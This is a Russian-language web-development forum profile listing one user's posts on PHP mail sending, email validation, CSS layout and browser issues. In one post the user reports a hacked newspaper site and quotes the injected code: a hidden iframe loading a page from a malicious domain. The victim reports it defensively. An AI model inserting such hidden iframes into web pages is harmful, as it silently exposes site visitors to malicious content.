Jump to content

Shuranka

User
  • Posts

    151
  • Joined

  • Last visited

Everything posted by Shuranka

  1. Прошу оценить мою первую серьёзную работу. Сайт местной газеты. В первую очередь интересует юзобилити, работа функционала, ну и за остальную критику буду благодарен. Сайт создан вручную, без использования CMS. Все php скрипты, включая поисковую систему, а также JS, за исключением меню, писал сам. Адрес сайта http://kr74.ru
  2. Сообщил регистратору домена wcount.net вот ответ регистратора:
  3. Всем привет! У меня скорее не вопрос, а сообщение. Сегодня утром, пришёл на работу, включаю комп, захожу на сайт нашей газеты, а антивирус выдаёт сообщение, что заблокировано соединение с вредоносным сайтом wcount.net. После проверки обнаружил в коде вот такую вставочку в шапке сайта: <html><body><div style="display:none"><iframe src="http://wcount.net/com/index.php" width="320" height="240"></iframe></div></body></html> Проблема не критическая, сейчас запустил востановление файлов и поменял все пароли. Просто интересно, кто-нибудь сталкивался с подобным?
  4. Глаза посетителей пожалей. Слишком резкий контраст фона и текста. Второе, что за нагромождение инлайн-стилей. Не проще вынести их в отдельный файл? Третье, кто контейнер style помещает в body? Четвёртое, такое ощущение, что это плохо переделанный чужой шаблон. Поясню. Группа ID, которая размещена в неверно расположенном контейнере style, в коде нигде не встречается.
  5. 2vvs, Функция mail() будет работать только в том случае, если smtp сервер не требует аутентификации. А это встречается не на всех серверах. Данный класс я проверял на бесплатном ayola.net и на Агаве. Везде работает. А вот mail() ни на том, ни на другом. Вам нужно рнр с нуля учить. Потому как ни в body, а в обработчик формы.
  6. Если SMTP сервер не требует аутентификации, что вряд ли, то подойд?т mail(), иначе, phpmailer либо другой класс для отправки сообщений. Вот настройки для phpmailer. Этот кусок кода нужно вставить в обработчик формы. <?php $name="Имя отправителя"; $sub="Тема письма"; $mess="Письмо"; $from="Ваш адрес"; $to="Адрес получателя"; /*Конвертация кодировок*/ $sub = iconv('WINDOWS-1251', 'koi8-r', $sub); $mess = iconv('WINDOWS-1251', 'koi8-r', $mess); $name = iconv('WINDOWS-1251', 'koi8-r', $name); require("phpmailer/class.phpmailer.php"); // укажите путь к файлу class.phpmailer.php $mail = new PHPMailer(); $mail->IsSMTP();// отсылать используя SMTP $mail->CharSet = "koi8-r";//Кодировка $mail->Encoding = "8bit";//8-битное кодирование. $mail->Host = "Название сервера"; // SMTP сервер $mail->SMTPAuth = true; // включить SMTP аутентификацию $mail->Username = "login"; // SMTP логин $mail->Password = "password"; // SMTP пароль $mail->From = $from; // укажите от кого письмо $mail->FromName =$name; // имя отправителя $mail->AddAddress($to); // е-мэил кому отправлять $mail->AddReplyTo("адрес"); // е-мэил того кому прейдет ответ на ваше письмо $mail->WordWrap = 50;// set word wrap $mail->IsHTML(true);// отправить в html формате $mail->Subject = $sub; // тема письма $mail->Body = $mess; // тело письма в html формате if(!$mail->Send()) { echo "Письмо не отправлено "; echo "Mailer Error: " . $mail->ErrorInfo; exit; } echo "Письмо отправлено"; ?> Правда если ты не знаком с РНР, то эти настройки тебе не помогут, потому что нужно еще писать обработчик формы.
  7. А какой плагин? Adobe Flash? У меня на старой версии он стоял. А на новую вообще никак не хочет.
  8. Обновил Файерфокс до третьей версии, и в н?м исчезло воспроизведение флеш анимации. Пробовал переустановить плагин, бесполезно. А возможность выбора для настройки SWF файлов вообще исчезла из списка типов содержимого Инструменты-Настройки-Приложения. Подскажите пожалуйста, в ч?м проблема?
  9. Юзай РНР, функция mail() или скачивай готовый класс для отправки сообщений. Например вот этот: http://www.life-host.net/help/phpmailer.zip Правда он требует доп. настроек.
  10. Shuranka

    вопрос

    Загружаешь в какую-нибудь папку файл, а на странице ставишь ссылку на него. Вот и вс?.
  11. Вобщем, установил и настроил sendmail, сообщения по сети пересылаются, но только в том случае, если адрес отправителя зарегистрирован у указанного в config файле провайдера. Впрочем, это не столь важно, мне нужно было настроить и проверить отправку сообщений с сайта. Вопрос следующий, возможно ли кроме sendmail установить на Денвер smtp сервер? Если в config файле указываю в качестве smtp серверa smtp.localhost.localdomain, то сообщения отправляются но не доходят, прич?м в лог-файле нет никаких записей об ошибках. Или sendmail и есть smtp сервер? Я пока только вс? это осваиваю, поэтому не слишком разбираюсь в почтовой терминологии.
  12. Спасибо, вс? заработало. Вс? дело оказалось в этой строке: "MIME-Version: 1.0rn"; добавил и вс? стало пересылаться с форматированием. Sendmail скачал отсюда архив-451Кб, правда разбираться с ним уже сил нет. Завтра.
  13. Убрал кавычки, не помогло. Скриншот здесь
  14. Спасибо, Tokolist, пойду поищу, где скачать можно. Кстати, сообщения в формате html тоже из-за эмулятора корректно не передаются? Если вставляю в сообщение теги, то они передаются обычным текстом. Вот функция mail(): $m=mail($mail1, $sub, $mess, 'From:'.$mail2, 'Content-Type:text/html; charset="koi8-r"'); Или что-то в заголовке сообщения поменять нужно?
  15. Пробовал в php.ini указать вместо localhost smtp сервер провайдера, закомментил строку sendmail_path = usrsbinsendmail -t -i, но вс? равно сообщения приходят на эмулятор, какой бы адрес получателя не был указан. Подскажите, что ещ? нужно изменить, чтобы сообщения пересылались по сети? И возможно ли такое на localhost?
  16. А вот про экранирование управляющих символов я совсем забыл Сейчас ещ? раз перечитал про рег выражения, так там написано, что при использовании обратного слэша для экранирования, его самого нужно экранировать. Вот пример проверки E-mail из самоучителя РНР-5 Колисниченко Д.Н. "([[:alnum:]-.]+@[[:alnum:]-]+(.[[:alnum:]-]+)*(?[[:alnum:]?+&%]*)?)?)" Точка и знак ? экранированы двойным .
  17. Спасибо, Emm, учту. Просто не доводилось встречать адреса со слэшем и с более чем тремя знаками в имени домена.
  18. Прошу совета у опытных web-программистов. Достаточно ли привед?нного ниже условия для проверки вводимого пользователем адреса E-mail? if(isset($_POST['submit']))//Проверка нажатия кнопки submit { if(isset($_POST['Mail'])&&$_POST['Mail']!="")//Провека ввода данных в поле E-mail { if(eregi("^[_A-Za-z0-9-]{1,}[@]{1}[_A-Za-z0-9-]{1,}[.]{1}[A-Za-z]{2,3}$",$_POST['Mail']))//Проверк корректности ввода E-mail адреса { $mail=$_POST['Mail'];//Если условие выполняется, извлекаем данные из массива $_POST['Mail'] $mail=strtolower($mail);//Переводим введ?нный адрес в нижний регистр $_SESSION['mail']=$mail;//Созда?м переменную сессии с адресом } else//Если условие не выполняется { $_SESSION['Mail']='Неверный формат адреса E-mail!';//Созда?м переменную сессии с ошибкой } } } Скрипты начал писать недавно, поэтому буду благодарен за любую подсказку. Данный фрагмент кода работает, но меня интересует проверка с точки зрения безопасности.
  19. До чего же вс? оказалось просто. Может быть немного громоздко, но просто. Поместил не всю страницу в , а каждую таблицу поместил в отдельный блок. Надо же!!! Целую неделю мучался, а сегодня за полдня решение наш?л. Осталось только код оптимизировать. Код в этом посте приводить не буду (большой), а кому интересно, можете посмотреть. Ссылка в предыдущем сообщении.
  20. Извини, ZoNT. Что-то я не подумал об этом. Вот, вырезал из не? все скрипты и залил на "Народ". Ссылки никуда не ведут. Вот адрес: http://shuranka.narod.ru
  21. Вот ссылка:http://91.151.34.194. До утра отключаться не буду. Посмотрите, может кто сможет понять, что там у меня.
  22. Точнее не меню имеет отступ, а рисунок выступает на 3-4рх. Неужели нет решения этой проблемы? Я уже неделю над ней бьюсь, но ничего не выходит. Если убираю border у рисунка, он выступает с обоих кра?в по 2рх.
  23. Извините за оффтоп, но ИМХО широкоформатники (хоть мониторы, хоть телевизоры) в нашей стране использовать не следует формат не тот. Попробуйте запихнуть формат 4:3 в формат 16:9, ничего хорошего из этого не получится. Скажем, попробуйте установить на широкоформатнике картинку размером 1024х768 на Рабочий стол, пропорции теряются заметно. Теперь по position:absolute. Вс? зависит от указанных параметров top, left, а также от ширины объекта (фиксированная или резиновая).
  24. Это точно. Я начинал изучение HTML/CSS при помощи блокнота, хотя у меня на компе уже стоял Дрим. А к Дриму я переш?л недавно. Дрим в визуальном режиме не отображает страницу в том случае, если она написана на php или JavaScript. Если у тебя страница на чистом html, то ищи ошибки в коде.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy